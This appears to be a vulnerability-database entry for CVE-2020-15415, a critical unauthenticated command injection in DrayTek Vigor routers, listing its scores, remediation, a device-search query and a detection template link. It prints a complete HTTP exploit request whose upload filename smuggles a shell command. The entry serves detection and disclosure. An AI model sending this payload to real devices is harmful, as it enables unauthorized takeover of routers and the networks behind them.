🔙 목록으로 돌아가기

CVE-2020-15415: DrayTek Vigor - Command Injection

TitleDrayTek Vigor - Command Injection
Authorritikchaddha
SeverityCritical
ImpactUnauthenticated attackers can execute arbitrary system commands on DrayTek Vigor devices via the cvmcfgupload endpoint, leading to complete device compromise and potential network infiltration.
RemediationUpdate the firmware to the latest version provided by DrayTek. If no update is available, consider implementing network segmentation to restrict access to the device's management interface.
CVSS Score9.8
EPSS Score0.93115
CVE IDCVE-2020-15415
CWE IDCWE-78
Fofa Query"excanvas.js" && "lang == \"zh-cn\"" && "detectLang" && server=="DWS"
Tags cve cve2020 draytek rce router kev vkev vuln

🔍 Vulnerability Description

DrayTek Vigor devices contain a command injection vulnerability in the cvmcfgupload functionality. The vulnerability allows remote attackers to execute arbitrary commands through specially crafted requests to the /cgi-bin/mainfunction.cgi/cvmcfgupload endpoint.

🌐 HTTP Request

POST /cgi-bin/mainfunction.cgi/cvmcfgupload?1=2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/3.6.17
Connection: close
Content-Length: 165
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
Accept-Encoding: gzip

------WebKitFormBoundary

Content-Disposition: form-data; name="abc"; filename="t';id;echo '1_"

Content-Type: text/x-python-script





------WebKitFormBoundary--

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-15415.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-15415.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A